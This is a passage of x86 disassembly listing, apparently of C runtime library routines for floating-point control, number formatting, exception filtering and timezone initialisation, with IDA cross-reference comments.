loc_424001:				; CODE XREF: sub_423FAF+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_424007:				; CODE XREF: sub_423FAF+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_423FFE
sub_423FAF	endp


; =============== S U B	R O U T	I N E =======================================



sub_42401D	proc near		; CODE XREF: sub_421576+52p
		xor	eax, eax
		retn
sub_42401D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424020	proc near		; CODE XREF: sub_424055+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_42406B
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_4240FD
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_424020	endp


; =============== S U B	R O U T	I N E =======================================



sub_424055	proc near		; CODE XREF: sub_421862+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_424020
		pop	ecx
		pop	ecx
		retn
sub_424055	endp


; =============== S U B	R O U T	I N E =======================================



sub_42406B	proc near		; CODE XREF: sub_424020+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_42407C
		push	10h
		pop	eax


loc_42407C:				; CODE XREF: sub_42406B+Cj
		test	bl, 4
		jz	short loc_424083
		or	al, 8


loc_424083:				; CODE XREF: sub_42406B+14j
		test	bl, 8
		jz	short loc_42408A
		or	al, 4


loc_42408A:				; CODE XREF: sub_42406B+1Bj
		test	bl, 10h
		jz	short loc_424091
		or	al, 2


loc_424091:				; CODE XREF: sub_42406B+22j
		test	bl, 20h
		jz	short loc_424098
		or	al, 1


loc_424098:				; CODE XREF: sub_42406B+29j
		test	bl, 2
		jz	short loc_4240A2
		or	eax, 80000h


loc_4240A2:				; CODE XREF: sub_42406B+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_4240DA
		cmp	edx, 400h
		jz	short loc_4240D7
		cmp	edx, 800h
		jz	short loc_4240D3
		cmp	edx, esi
		jnz	short loc_4240DA
		or	eax, edi
		jmp	short loc_4240DA
; ---------------------------------------------------------------------------


loc_4240D3:				; CODE XREF: sub_42406B+5Ej
		or	eax, ebp
		jmp	short loc_4240DA
; ---------------------------------------------------------------------------


loc_4240D7:				; CODE XREF: sub_42406B+56j
		or	ah, 1


loc_4240DA:				; CODE XREF: sub_42406B+4Ej
					; sub_42406B+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_4240EA
		cmp	ecx, ebp
		jnz	short loc_4240EF
		or	eax, 10000h
		jmp	short loc_4240EF
; ---------------------------------------------------------------------------


loc_4240EA:				; CODE XREF: sub_42406B+72j
		or	eax, 20000h


loc_4240EF:				; CODE XREF: sub_42406B+76j
					; sub_42406B+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_4240FC
		or	eax, 40000h

locret_4240FC:				; CODE XREF: sub_42406B+8Aj
		retn
sub_42406B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4240FD	proc near		; CODE XREF: sub_424020+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_42410D
		push	1
		pop	eax


loc_42410D:				; CODE XREF: sub_4240FD+Bj
		test	bl, 8
		jz	short loc_424114
		or	al, 4


loc_424114:				; CODE XREF: sub_4240FD+13j
		test	bl, 4
		jz	short loc_42411B
		or	al, 8


loc_42411B:				; CODE XREF: sub_4240FD+1Aj
		test	bl, 2
		jz	short loc_424122
		or	al, 10h


loc_424122:				; CODE XREF: sub_4240FD+21j
		test	bl, 1
		jz	short loc_424129
		or	al, 20h


loc_424129:				; CODE XREF: sub_4240FD+28j
		test	ebx, 80000h
		jz	short loc_424133
		or	al, 2


loc_424133:				; CODE XREF: sub_4240FD+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_424160
		cmp	ecx, 100h
		jz	short loc_42415D
		cmp	ecx, esi
		jz	short loc_424158
		cmp	ecx, edx
		jnz	short loc_424160
		or	ah, 0Ch
		jmp	short loc_424160
; ---------------------------------------------------------------------------


loc_424158:				; CODE XREF: sub_4240FD+50j
		or	ah, 8
		jmp	short loc_424160
; ---------------------------------------------------------------------------


loc_42415D:				; CODE XREF: sub_4240FD+4Cj
		or	ah, 4


loc_424160:				; CODE XREF: sub_4240FD+44j
					; sub_4240FD+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_424176
		cmp	ecx, 10000h
		jnz	short loc_424178
		or	eax, esi
		jmp	short loc_424178
; ---------------------------------------------------------------------------


loc_424176:				; CODE XREF: sub_4240FD+6Bj
		or	eax, edx


loc_424178:				; CODE XREF: sub_4240FD+73j
					; sub_4240FD+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_424185
		or	ah, 10h

locret_424185:				; CODE XREF: sub_4240FD+83j
		retn
sub_4240FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_424186	proc near		; CODE XREF: sub_424225+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_4241CB
		inc	esi
		cmp	esi, 3
		jge	short loc_4241C6
		lea	eax, [eax+esi*4]


loc_4241B8:				; CODE XREF: sub_424186+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_4241CB
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_4241B8


loc_4241C6:				; CODE XREF: sub_424186+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4241CB:				; CODE XREF: sub_424186+27j
					; sub_424186+35j
		xor	eax, eax
		pop	esi
		retn
sub_424186	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241CF	proc near		; CODE XREF: sub_424225+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_425050
		add	esp, 0Ch
		dec	esi
		js	short loc_424221
		lea	edi, [ebx+esi*4]


loc_424208:				; CODE XREF: sub_4241CF+50j
		test	eax, eax
		jz	short loc_424221
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_425050
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_424208


loc_424221:				; CODE XREF: sub_4241CF+34j
					; sub_4241CF+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4241CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424225	proc near		; CODE XREF: sub_424380+81p
					; sub_424380+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_424289
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_424186
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_424286
		push	edi
		push	[ebp+arg_0]
		call	sub_4241CF
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_424286:				; CODE XREF: sub_424225+51j
		mov	eax, [ebp+arg_4]


loc_424289:				; CODE XREF: sub_424225+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_4242A9
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_4242A9:				; CODE XREF: sub_424225+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424225	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242B1	proc near		; CODE XREF: sub_424380+75p
					; sub_424380+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_4242BF:				; CODE XREF: sub_4242B1+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_4242BF
		pop	esi
		retn
sub_4242B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242CC	proc near		; CODE XREF: sub_424380+5Fp
					; sub_424380+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_4242CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242D8	proc near		; CODE XREF: sub_424380+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_4242DE:				; CODE XREF: sub_4242D8+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_4242F0
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_4242DE
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4242F0:				; CODE XREF: sub_4242D8+9j
		xor	eax, eax
		retn
sub_4242D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4242F3	proc near		; CODE XREF: sub_424380+C0p
					; sub_424380+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_424329:				; CODE XREF: sub_4242F3+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_424329
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_42435B:				; CODE XREF: sub_4242F3+86j
		cmp	ebx, edi
		jl	short loc_42436E
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_424375
; ---------------------------------------------------------------------------


loc_42436E:				; CODE XREF: sub_4242F3+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


loc_424375:				; CODE XREF: sub_4242F3+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_42435B
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4242F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424380	proc near		; CODE XREF: sub_4244EC+Dp
					; sub_424502+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_4243ED
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_4242D8
		test	eax, eax
		pop	ecx
		jnz	loc_4244AC
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		pop	ecx


loc_4243E5:				; CODE XREF: sub_424380+E4j
		push	2


loc_4243E7:				; CODE XREF: sub_424380+110j
		pop	eax
		jmp	loc_4244AE
; ---------------------------------------------------------------------------


loc_4243ED:				; CODE XREF: sub_424380+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4242B1
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424225
		add	esp, 10h
		test	eax, eax
		jz	short loc_42440E
		inc	ebx


loc_42440E:				; CODE XREF: sub_424380+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_424426
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		pop	ecx
		jmp	short loc_424462
; ---------------------------------------------------------------------------


loc_424426:				; CODE XREF: sub_424380+98j
		cmp	ebx, eax
		jg	short loc_424469
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242B1
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_4242F3
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424225
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242F3
		add	esp, 20h


loc_424462:				; CODE XREF: sub_424380+A4j
		xor	esi, esi
		jmp	loc_4243E5
; ---------------------------------------------------------------------------


loc_424469:				; CODE XREF: sub_424380+A8j
		cmp	ebx, [edi]
		jl	short loc_424495
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242F3
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_4243E7
; ---------------------------------------------------------------------------


loc_424495:				; CODE XREF: sub_424380+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_4242F3
		pop	ecx
		pop	ecx


loc_4244AC:				; CODE XREF: sub_424380+55j
		xor	eax, eax


loc_4244AE:				; CODE XREF: sub_424380+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_4244DD
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_4244E7
; ---------------------------------------------------------------------------


loc_4244DD:				; CODE XREF: sub_424380+14Ej
		cmp	edi, 20h
		jnz	short loc_4244E7
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_4244E7:				; CODE XREF: sub_424380+15Bj
					; sub_424380+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424380	endp


; =============== S U B	R O U T	I N E =======================================



sub_4244EC	proc near		; CODE XREF: sub_424518+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_442528
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424380
		add	esp, 0Ch
		retn
sub_4244EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424502	proc near		; CODE XREF: sub_424545+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_442540
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424380
		add	esp, 0Ch
		retn
sub_424502	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424518	proc near		; CODE XREF: sub_42199B+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4251F1
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4244EC
		add	esp, 24h
		leave
		retn
sub_424518	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424545	proc near		; CODE XREF: sub_42199B+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4251F1
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424502
		add	esp, 24h
		leave
		retn
sub_424545	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424572	proc near		; CODE XREF: sub_4219D9+65p
					; sub_421ADD+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_4245AF
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_424595:				; CODE XREF: sub_424572+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_4245A1
		movsx	edx, dl
		inc	ecx
		jmp	short loc_4245A4
; ---------------------------------------------------------------------------


loc_4245A1:				; CODE XREF: sub_424572+27j
		push	30h
		pop	edx


loc_4245A4:				; CODE XREF: sub_424572+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_424595
		mov	edx, [ebp+arg_8]


loc_4245AF:				; CODE XREF: sub_424572+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_4245C8
		cmp	byte ptr [ecx],	35h
		jl	short loc_4245C8


loc_4245BB:				; CODE XREF: sub_424572+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_4245C6
		mov	byte ptr [eax],	30h
		jmp	short loc_4245BB
; ---------------------------------------------------------------------------


loc_4245C6:				; CODE XREF: sub_424572+4Dj
		inc	byte ptr [eax]


loc_4245C8:				; CODE XREF: sub_424572+42j
					; sub_424572+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_4245D2
		inc	dword ptr [edx+4]
		jmp	short loc_4245E4
; ---------------------------------------------------------------------------


loc_4245D2:				; CODE XREF: sub_424572+59j
		push	edi
		call	sub_41AFE0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_41CC90
		add	esp, 10h


loc_4245E4:				; CODE XREF: sub_424572+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424572	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4245E9	proc near		; CODE XREF: sub_4219D9+3Fp
					; sub_421ADD+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42464D
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_4E0D20
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_4256C2
		mov	dword_4E0D48, eax
		add	esp, 18h
		movsx	eax, byte_4E0D22
		mov	dword_4E0D40, eax
		pop	edi
		movsx	eax, word_4E0D20
		mov	dword_4E0D44, eax
		mov	dword_4E0D4C, offset dword_4E0D24
		mov	eax, offset dword_4E0D40
		pop	esi
		leave
		retn
sub_4245E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42464D	proc near		; CODE XREF: sub_4245E9+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_42469B
		cmp	ebx, edi
		jz	short loc_424694
		lea	edi, [ecx+3C00h]
		jmp	short loc_4246BC
; ---------------------------------------------------------------------------


loc_424694:				; CODE XREF: sub_42464D+3Dj
		mov	edi, 7FFFh
		jmp	short loc_4246BC
; ---------------------------------------------------------------------------


loc_42469B:				; CODE XREF: sub_42464D+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_4246B3
		cmp	edx, ebx
		jnz	short loc_4246B3
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_4246FE
; ---------------------------------------------------------------------------


loc_4246B3:				; CODE XREF: sub_42464D+52j
					; sub_42464D+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_4246BC:				; CODE XREF: sub_42464D+45j
					; sub_42464D+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_4246D4:				; CODE XREF: sub_42464D+A6j
		test	ecx, esi
		jnz	short loc_4246F5
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_4246D4
; ---------------------------------------------------------------------------


loc_4246F5:				; CODE XREF: sub_42464D+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_4246FE:				; CODE XREF: sub_42464D+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42464D	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_41DA29
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_42470C	proc near		; DATA XREF: ___:00442168o
					; ___:004429C8o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_42472F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_42472F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_42472F
		jmp	sub_42255C
; ---------------------------------------------------------------------------


loc_42472F:				; CODE XREF: sub_42470C+Dj
					; sub_42470C+13j ...
		mov	eax, dword_4E0D50
		test	eax, eax
		jz	short loc_42474C
		push	eax
		call	sub_4247A8
		test	eax, eax
		pop	ecx
		jz	short loc_42474C
		push	esi
		call	dword_4E0D50
		jmp	short loc_42474E
; ---------------------------------------------------------------------------


loc_42474C:				; CODE XREF: sub_42470C+2Aj
					; sub_42470C+35j
		xor	eax, eax


loc_42474E:				; CODE XREF: sub_42470C+3Ej
		pop	esi
		retn	4
sub_42470C	endp

; ---------------------------------------------------------------------------
word_424752	dw 0C68h		; DATA XREF: ___:00429028o
; ---------------------------------------------------------------------------
		inc	edi
		inc	edx
		add	[eax+1DC72AE8h], dl
		add	ah, byte ptr dword_4E0D50[ebx]
		retn
; ---------------------------------------------------------------------------
byte_424763	db 0FFh			; DATA XREF: ___:00429040o
		dd 4E0D5035h, 18E89000h, 0C3021DC7h

; =============== S U B	R O U T	I N E =======================================



sub_424770	proc near		; CODE XREF: sub_421DB1+6Bp
					; sub_4222C2+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	near ptr 26009DAh
		nop
		test	eax, eax
		jz	short loc_424788
		xor	esi, esi


loc_424788:				; CODE XREF: sub_424770+14j
		mov	eax, esi
		pop	esi
		retn
sub_424770	endp


; =============== S U B	R O U T	I N E =======================================



sub_42478C	proc near		; CODE XREF: sub_4222C2+73p
					; sub_4222C2+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		nop
		call	near ptr 28D0A54h
		test	eax, eax
		jz	short loc_4247A4
		xor	esi, esi


loc_4247A4:				; CODE XREF: sub_42478C+14j
		mov	eax, esi
		pop	esi
		retn
sub_42478C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247A8	proc near		; CODE XREF: sub_4222C2+15Bp
					; sub_42470C+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		nop
		call	near ptr 2600949h
		test	eax, eax
		jz	short loc_4247BC
		xor	esi, esi


loc_4247BC:				; CODE XREF: sub_4247A8+10j
		mov	eax, esi
		pop	esi
		retn
sub_4247A8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42255C


loc_4247C0:				; CODE XREF: sub_42255C:loc_4225ADj
		push	0Ah
		call	sub_4235C9
		push	16h
		call	sub_425955
		pop	ecx
		pop	ecx
		push	3
		call	sub_41B7C2
; END OF FUNCTION CHUNK	FOR sub_42255C

; =============== S U B	R O U T	I N E =======================================



sub_4247D7	proc near		; CODE XREF: sub_422669:loc_4226A8p
		cmp	dword_4E0E10, 0
		jnz	short locret_4247EB
		call	sub_4247EC
		inc	dword_4E0E10

locret_4247EB:				; CODE XREF: sub_4247D7+7j
		retn
sub_4247D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247EC	proc near		; CODE XREF: sub_4247D7+9p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	dword_4E0D58, ebp
		mov	dword_442600, ebx
		mov	dword_4425F0, ebx
		call	sub_425AC7
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_424915
		push	offset dword_4E0D60
		nop
		call	near ptr 2890000h
		cmp	eax, ebx
		jz	loc_424A44
		mov	eax, dword_4E0D60
		mov	ecx, dword_4E0DB4
		imul	eax, 3Ch
		cmp	word_4E0DA6, bp
		push	1
		pop	edx
		mov	dword_442558, eax
		mov	dword_4E0D58, edx
		jz	short loc_424863
		mov	esi, ecx
